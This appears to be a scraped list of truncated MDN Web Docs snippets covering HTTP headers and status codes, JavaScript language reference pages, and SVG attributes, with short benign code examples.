Web Origin Concept FetchThe definition of 'Origin header' in that specification. Supplants the Origin header as defined in RFC6454. ...
Public-Key-Pins - HTTP
Use Certificate Transparency and Expect-CT header instead. For more information, see the HTTP Public Key Pinning article. ...
SameSite cookies - HTTP
The SameSite attribute of the Set-Cookie HTTP response header allows you to declare if your cookie should be restricted to a first-party or same-site context. Values The SameSite attribute accepts three values: Lax Cookies are allowed to be sent with top-level navigations and will be sent along with GET request initiated by third party
website. This is the default value in modern browsers. Strict Cookies will only be sent in a first-party context and not be sent along with requests initiated by third party
websites. None Cookies will be sent in all contexts, i.e sending cross-origin is allowed. None used to be the default value, but recent browser versions made Lax the default value to have reasonably robust defense against some classes of cross-site request forgery (CSRF) attacks.
X-Forwarded-For - HTTP
When traffic is intercepted between clients and servers, server access logs contain the IP address of the proxy or load balancer only. To see the original IP address of the client, the X-Forwarded-For request header is used. This header is used for debugging, statistics, and generating location-dependent content and by design it exposes privacy sensitive information, such as the IP address of the client. ...
X-XSS-Protection - HTTP
sponse header is a feature of Internet Explorer, Chrome and Safari that stops pages from loading when they detect reflected cross-site scripting (XSS) attacks. Although these protections are largely unnecessary in modern browsers when sites implement a strong Content-Security-Policy that disables the use of inline JavaScript ('unsafe-inline'), they can still provide protections for users of older
web browsers that don't yet support CSP. Chrome has removed their XSS Auditor Firefox have not, and will not implement X-XSS-Protection Edge have retired their XSS filter This means that if you do not need to support legacy browsers, it is recommended that you use Content-Security-Policy without allowing unsafe-inline scripts instead. Header type Response header Forbidd...
CONNECT - HTTP
The client asks an HTTP Proxy server to tunnel the TCP connection to the desired destination. The server then proceeds to make the connection on behalf of the client. Once the connection has been established by the server, the Proxy server continues to proxy the TCP stream to and from the client. CONNECT is a hop-by-hop method. ...
101 Switching Protocols - HTTP
icates the protocol the server is switching to as requested by a client which sent the message including the Upgrade request header. The server includes in this response an Upgrade response header to indicate the protocol it switched to. The process is described in detail in the article Protocol upgrade mechanism. Status 101 Switching Protocols Examples Switching protocols might be used with
WebSockets. HTTP/1.1 101 Switching Protocols Upgrade:
websocket Connection: Upgrade Specifications Specification Title RFC 7231, section 6.2.2: 101 Switching Protocol Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content ...
307 Temporary Redirect - HTTP
hod that is not the uploaded resources, but a confirmation message (like "You successfully uploaded XYZ"). The only difference between 307 and 302 is that 307 guarantees that the method and the body will not be changed when the redirected request is made. With 302, some old clients were incorrectly changing the method to GET: the behavior with non-GET methods and 302 is then unpredictable on the
Web, whereas the behavior with 307 is predictable. For GET requests, their behavior is identical. Status 307 Temporary Redirect Specifications Specification Title RFC 7231, section 6.4.7: 307 Temporary Redirect Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content ...
308 Permanent Redirect - HTTP
icates that the resource requested has been definitively moved to the URL given by the Location headers. A browser redirects to this page and search engines update their links to the resource (in 'SEO-speak', it is said that the 'link-juice' is sent to the new URL). The request method and the body will not be altered, whereas 301 may incorrectly sometimes be changed to a GET method. Note: Some
Web applications may use the 308 Permanent Redirect in a non-standard way and for other purposes. For example, Google Drive uses a 308 Resume Incomplete response to indicate to the client when an incomplete upload stalled.[1] Status 308 Permanent Redirect Specifications Specification Title RFC 7538, section 3: 308 Permanent Redirect The Hypertext Transfer Protocol Status ...
404 Not Found - HTTP
dicates that the server can't find the requested resource. Links that lead to a 404 page are often called broken or dead links and can be subject to link rot. A 404 status code does not indicate whether the resource is temporarily or permanently missing. But if a resource is permanently removed, a 410 (Gone) should be used instead of a 404 status. Status 404 Not Found Custom error pages Many
web sites customize the look of a 404 page to be more helpful to the user and provide guidance on what to do next. Apache servers can be configured using an .htaccess file and a code snippet like the following example. ErrorDocument 404 /notfound.html For an example of a custom 404 page, see MDN's 404 page. Custom design is a good thing, in moderation. Feel free to make your 404 page humorous and...
422 Unprocessable Entity - HTTP
rstands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions. Important: The client should not repeat this request without modification. Status 422 Unprocessable Entity Specifications Specification Title RFC 4918, section 11.2: 422 Unprocessable Entity HTTP Extensions for
Web Distributed Authoring and Versioning (
WebDAV) ...
451 Unavailable For Legal Reasons - HTTP
Status 451 Unavailable For Legal Reasons Example This example response is taken from the IETF RFC (see below) and contains a reference to Monty Python's Life of Brian. Note: the Link header might also contain a rel="blocked-by" relation identifying the entity and implementing blockage, not any other entity mandating it. ...
501 Not Implemented - HTTP
recognize the request method and is incapable of supporting it for any resource. The only methods that servers are required to support (and therefore that must not return 501) are GET and HEAD. If the server does recognize the method, but intentionally does not support it, the appropriate response is 405 Method Not Allowed. A 501 error is not something you can fix, but requires a fix by the
web server you are trying to access. A 501 response is cacheable by default; that is, unless caching headers instruct otherwise. Status 501 Not Implemented Specifications Specification Title RFC 7231, section 6.6.2: 501 Not Implemented Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content ...
502 Bad Gateway - HTTP
The HyperText Transfer Protocol (HTTP) 502 Bad Gateway server error response code indicates that the server, while acting as a gateway or proxy, received an invalid response from the upstream server. Note: A Gateway might refer to different things in networking and a 502 error is usually not something you can fix, but requires a fix by the
web server or the proxies you are trying to get access through. Status 502 Bad Gateway Specifications Specification Title RFC 7231, section 6.6.3: 502 Bad Gateway Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content ...
504 Gateway Timeout - HTTP
The HyperText Transfer Protocol (HTTP) 504 Gateway Timeout server error response code indicates that the server, while acting as a gateway or proxy, did not get a response in time from the upstream server that it needed in order to complete the request. Note: A Gateway might refer to different things in networking and a 504 error is usually not something you can fix, but requires a fix by the
web server or the proxies you are trying to get access through. Status 504 Gateway Timeout Specifications Specification Title RFC 7231, section 6.6.5: 504 Gateway Timeout Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content ...
CSS Houdini
of CSS -- allows developers to write JavaScript functions that can draw directly into an element's background, border, or content via the paint() CSS function. CSS Painting API reference CSS Painting API guide Worklets An API for running scripts in various stages of the rendering pipeline independent of the main JavaScript execution environment. Worklets are conceptually similar to
Web Workers, and are called by and extend the rendering engine. Worklets reference Other topics Related topics which may be of interest, since they can be used in tandem with Houdini APIs in interesting ways. Composite Scrolling and Animation ...
A re-introduction to JavaScript (JS tutorial) - JavaScript
Why a re-introduction? Because JavaScript is notorious for being the world's most misunderstood programming language. It is often derided as being a toy, but beneath its layer of deceptive simplicity, powerful language features await. JavaScript is now used by an incredible number of high-profile applications, showing that deeper knowledge of this technology is an important skill for any
web or mobile developer. It's useful to start with an overview of the language's history. JavaScript was created in 1995 by Brendan Eich while he was an engineer at Netscape. JavaScript was first released with Netscape 2 early in 1996. It was originally going to be called LiveScript, but it was renamed in an ill-fated marketing decision that attempted to capitalize on the popularity of Sun Microsystem's Jav...
Closures - JavaScript
cal environment) with a function that operates on that data. This has obvious parallels to object-oriented programming, where objects allow you to associate data (the object's properties) with one or more methods. Consequently, you can use a closure anywhere that you might normally use an object with only a single method. Situations where you might want to do this are particularly common on the
web. Much of the code written in front-end JavaScript is event-based. You define some behavior, and then attach it to an event that is triggered by the user (such as a click or a keypress). The code is attached as a callback (a single function that is executed in response to the event). For instance, suppose we want to add buttons to a page to adjust the text size. One way of doing this is to specif...
JavaScript data types and data structures - JavaScript
ng a value in the array) or push (adding an element to the array), and so on. This makes Arrays a perfect candidate to represent lists or sets. Typed Arrays are new to JavaScript with ECMAScript 2015, and present an array-like view of an underlying binary data buffer. ...
Grammar and types - JavaScript
ing In the case of functions, only function declarations are hoisted--but not the function expressions. /* Function declaration */ foo(); // "bar" function foo() { console.log('bar'); } /* Function expression */ baz(); // TypeError: baz is not a function var baz = function() { console.log('bar2'); }; Global variables Global variables are in fact properties of the global object. In
web pages, the global object is window, so you can set and access global variables using the window.variable syntax. Consequently, you can access global variables declared in one window or frame from another window or frame by specifying the window or frame name. For example, if a variable called phoneNumber is declared in a document, you can refer to this variable from an iframe as parent.phoneNumb...
Using Promises - JavaScript
ut the syntax here. Promises solve a fundamental flaw with the callback pyramid of doom, by catching all errors, even thrown exceptions and programming errors. This is essential for functional composition of asynchronous operations. Promise rejection events Whenever a promise is rejected, one of two events is sent to the global scope (generally, this is either the window or, if being used in a
web worker, it's the Worker or other worker-based interface). The two events are: rejectionhandled Sent when a promise is rejected, after that rejection has been handled by the executor's reject function. unhandledrejection Sent when a promise is rejected but there is no rejection handler available. In both cases, the event (of type PromiseRejectionEvent) has as members a promise property ind...
Inheritance and the prototype chain - JavaScript
nction m of o, // 'this.a' means p.a, the property 'a' of p Using prototypes in JavaScript Let's look at what happens behind the scenes in a bit more detail. In JavaScript, as mentioned above, functions are able to have properties. All functions have a special property named prototype. Please note that the code below is free-standing (it is safe to assume there is no other JavaScript on the
webpage other than the below code). For the best learning experience, it is highly recommended that you open a console, navigate to the "console" tab, copy-and-paste in the below JavaScript code, and run it by pressing the Enter/Return key. (The console is included in most
web browser's Developer Tools. More information is available for Firefox Developer Tools, Chrome DevTools, and Edge DevTools.) f...
About the JavaScript reference - JavaScript
es often (thus the title "JavaScript reference"). If you're learning JavaScript, or need help understanding some of its capabilities or features, check out the JavaScript guide. The JavaScript language is intended to be used within some larger environment, be it a browser, server-side scripts, or similar. For the most part, this reference attempts to be environment-agnostic and does not target a
web browser environment. Where to find JavaScript information JavaScript documentation of core language features (pure ECMAScript, for the most part) includes the following: The JavaScript guide The JavaScript reference If you are new to JavaScript, start with the guide. Once you have a firm grasp of the fundamentals, you can use the reference to get more details on individual objects and lan...
SyntaxError: invalid regular expression flag "x" - JavaScript
Perform a "sticky" search that matches starting at the current position in the target string. See sticky Examples There are only six valid regular expression flags. /foo/bar; // SyntaxError: invalid regular expression flag "b" Did you intend to create a regular expression? An expression containing two slashes is interpreted as a regular expression literal. let obj = { url: /docs/
Web }; // SyntaxError: invalid regular expression flag "W" Or did you mean to create a string instead? Add single or double quotes to create a string literal. let obj = { url: '/docs/
Web' }; Valid regular expression flags See the table above for the six valid regular expression flags that are allowed in JavaScript. /foo/g; /foo/gims; /foo/uy; ...
JavaScript error reference - JavaScript
Below, you'll find a list of errors which are thrown by JavaScript. These errors can be a helpful debugging aid, but the reported problem isn't always immediately clear. The pages below will provide additional details about these errors. Each error is an object based upon the Error object, and has a name and a message. Errors displayed in the
Web console may include a link to the corresponding page below to help you quickly comprehend the problem in your code. For a beginner's introductory tutorial on fixing JavaScript errors, see What went wrong? Troubleshooting JavaScript. List of errors In this list, each page is listed by name (the type of error) and message (a more detailed human-readable error message). Together, these two properties provide a starting point toward understanding an...
Function - JavaScript
This is because the top-level scope in Node is not the global scope, and x will be local to the module. Specifications Specification ECMAScript (ECMA-262)The definition of 'Function' in that specification. ...
Math.random() - JavaScript
1 (inclusive of 0, but not 1) with approximately uniform distribution over that range -- which you can then scale to your desired range. The implementation selects the initial seed to the random number generation algorithm; it cannot be chosen or reset by the user. Math.random() does not provide cryptographically secure random numbers. Do not use them for anything related to security. Use the
Web Crypto API instead, and more precisely the window.crypto.getRandomValues() method. Syntax Math.random() Return value A floating-point, pseudo-random number between 0 (inclusive) and 1 (exclusive). Examples Note that as numbers in JavaScript are IEEE 754 floating point numbers with round-to-nearest-even behavior, the ranges claimed for the functions below (excluding the one for Math.random(...
Math.random() - JavaScript
1 (inclusive of 0, but not 1) with approximately uniform distribution over that range -- which you can then scale to your desired range. The implementation selects the initial seed to the random number generation algorithm; it cannot be chosen or reset by the user. Math.random() does not provide cryptographically secure random numbers. Do not use them for anything related to security. Use the
Web Crypto API instead, and more precisely the window.crypto.getRandomValues() method. Syntax Math.random() Return value A floating-point, pseudo-random number between 0 (inclusive) and 1 (exclusive). Examples Note that as numbers in JavaScript are IEEE 754 floating point numbers with round-to-nearest-even behavior, the ranges claimed for the functions below (excluding the one for Math.random(...
unescape() - JavaScript
All of the language features and behaviours specified in this annex have one or more undesirable characteristics and in the absence of legacy usage would be removed from this specification. ... ... Programmers should not use or assume the existence of these features and behaviours when writing new ECMAScript code. ... The unescape() function computes a new string in which hexadecimal escape sequences are replaced with the character that it represents. The escape sequences might be introduced by a function like escape. ...
this - JavaScript
.com/mdn/interactive-examples and send us a pull request. Syntax this Value A property of an execution context (global, function or eval) that, in non-strict mode, is always a reference to an object and in strict mode can be any value. Description Global context In the global execution context (outside of any function), this refers to the global object whether in strict mode or not. // In
web browsers, the window object is also the global object: console.log(this === window); // true a = 37; console.log(window.a); // 37 this.b = "MDN"; console.log(window.b) // "MDN" console.log(b) // "MDN" Note: You can always easily get the global object using the global globalThis property, regardless of the current context in which your code is running. Function context Inside a fu...
typeof - JavaScript
iable = 'hello'; class newClass{}; Exceptions All current browsers expose a non-standard host object document.all with type undefined. typeof document.all === 'undefined'; Although the specification allows custom type tags for non-standard exotic objects, it requires those type tags to be different from the predefined ones. The case of document.all having type 'undefined' is classified in the
web standards as a "willful violation" of the original ECMA JavaScript standard. Specifications Specification ECMAScript (ECMA-262)The definition of 'The typeof Operator' in that specification. ...
label - JavaScript
break You can use labels within simple blocks, but only break statements can make use of non-loop labels. foo: { console.log('face'); break foo; console.log('this will not be executed'); } console.log('swap'); // this will log: // "face" // "swap" Labeled function declarations Starting with ECMAScript 2015, labeled function declarations are now standardized for non-strict code in the
web compatibility annex of the specification. L: function F() {} In strict mode code, however, this will throw a SyntaxError: 'use strict'; L: function F() {} // SyntaxError: functions cannot be labelled Generator functions can neither be labeled in strict code, nor in non-strict code: L: function* F() {} // SyntaxError: generator functions cannot be labelled Specifications Specifica...
Transitioning to strict mode - JavaScript
This article aims at providing guidance for developers. Gradual transition Strict mode has been designed so that the transition to it can be made gradually. It is possible to change each file individually and even to transition code to strict mode down to the function granularity. ...
JavaScript reference - JavaScript
Structured data ArrayBuffer SharedArrayBuffer Atomics DataView JSON Control abstraction Promise Generator GeneratorFunction AsyncFunction Reflection Reflect Proxy Internationalization Intl Intl.Collator Intl.DateTimeFormat Intl.DisplayNames Intl.ListFormat Intl.Locale Intl.NumberFormat Intl.PluralRules Intl.RelativeTimeFormat
WebAssembly
WebAssembly
WebAssembly.Module
WebAssembly.Instance
WebAssembly.Memory
WebAssembly.Table
WebAssembly.CompileError
WebAssembly.LinkError
WebAssembly.RuntimeError Statements JavaScript statements and declarations Control flowBlock break continue Empty if...else switch throw try...catch Declarations var let const Functions and classes...
Examples - MathML
Pythagorean Theorem Small example showing a proof of the Pythagorean Theorem. ...
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
You can achieve the same effect using SVG filters. <p class="blur">Time to clean my glasses</p> <svg height="0"> <defs> <filter id="wherearemyglasses" x="0" y="0"> <feGaussianBlur in="SourceGraphic" stdDeviation="1"/> </filter> </defs> </svg> You can apply the SVG and the CSS filter in the same cl...
href - SVG: Scalable Vector Graphics
bute. Fifteen elements are using this attribute: <a>, <animate>, <animateMotion>, <animateTransform>, <discard>, <feImage>, <image>, <linearGradient>, <mpath>, <pattern>, <radialGradient>, <script>, <set>, <textPath>, and <use> html, body, svg { height: 100%; } <svg viewBox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org/"><text x="10" y="25">MDN
Web Docs</text></a> </svg> In SVG a For <a>, href defines the location of the referenced object, expressed as a URL reference. Value <url> Default value None Animatable Yes animate, animateMotion, animateTransform, set For the <animate>, <animateMotion>, <animateTransform>, and <set>, href defines a URL referring to the element which is the target of...
textLength - SVG: Scalable Vector Graphics
he user agent will ensure that the text does not extend farther than that distance, using the method or methods specified by the lengthAdjust attribute. By default, only the spacing between characters is adjusted, but the glyph size can also be adjusted if you change lengthAdjust. By using textLength, you can ensure that your SVG text displays at the same width regardless of conditions including
web fonts failing to load (or not having loaded yet). Four elements are using this attribute: <text>, <textPath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewBox="0 0 200 60" xmlns="http://www.w3.org/2000/svg"> <text y="20" textLength="6em">Small text length</text> <text y="40" textLength="120%">Big text length</text> </svg> Usage notes Value <length-pe...
xlink:href - SVG: Scalable Vector Graphics
Value <iri> Default value None Animatable Yes altGlyph For <altGlyph>, xlink:href defines the reference either to a <glyph> element in an SVG document fragment or to an <altGlyphDef> element. If the reference is to a <glyph> element and that glyph is ava...
Compatibility sources - SVG: Scalable Vector Graphics
The following sources are used for the compatibility tables on SVG elements and attributes: https://developer.mozilla.org/En/SVG_in_Firefox together with its revision history for Firefox http://www.
webkit.org/projects/svg/status.xml together with its recorded archive for
WebKit, Safari and Chrome http://www.opera.com/docs/specs/opera9/svg/ and accompanying pages for Opera >= 9, http://www.opera.com/docs/specs/opera8/ for Opera 8 http://blogs.msdn.com/b/ie/archive/2010/03/18/svg-in-ie9-roadmap.aspx for hints on IE9 support status The SVG support charts at Codedread.com for basic checks against the W3C test suite Wikipedia for basic hints, not normative ...
SVG animation with SMIL - SVG: Scalable Vector Graphics
Firefox 4 introduced support for animating SVG using Synchronized Multimedia Integration Language (SMIL). SMIL allows you to: animate the numeric attributes of an element (x, y, ...) animate transform attributes (translation or rotation) animate color attributes follow a motion path This is done adding an SVG element like <animate> inside the SVG element to animate. Below are examples for the four different ways. Animating attributes of an element The following example animates the cx attribute of a circle. ...
Clipping and masking - SVG: Scalable Vector Graphics
="0" width="200" height="200" fill="blue" /> <circle cx="100" cy="100" r="50" stroke="yellow" stroke-width="40" stroke-opacity=".5" fill="red" /> </svg> ScreenshotLive sample You see in this example the red circle on blue background. The yellow stroke is set to 50% opacity, which leads effectively to a double-color stroke. Using well-known CSS techniques One of the most powerful tools in a
web developer's toolbox is display: none. It is therefore little surprise, that it was decided to take this CSS property into SVG as well, together with visibility and clip as defined by CSS 2. For reverting a previously set display: none it is important to know, that the initial value for all SVG elements is inline. << PreviousNext >> ...
Fills and Strokes - SVG: Scalable Vector Graphics
Fill and Stroke Attributes Painting Basic coloring can be done by setting two attributes on the node: fill and stroke. Using fill sets the color inside the object and stroke sets the color of the line drawn around the object. ...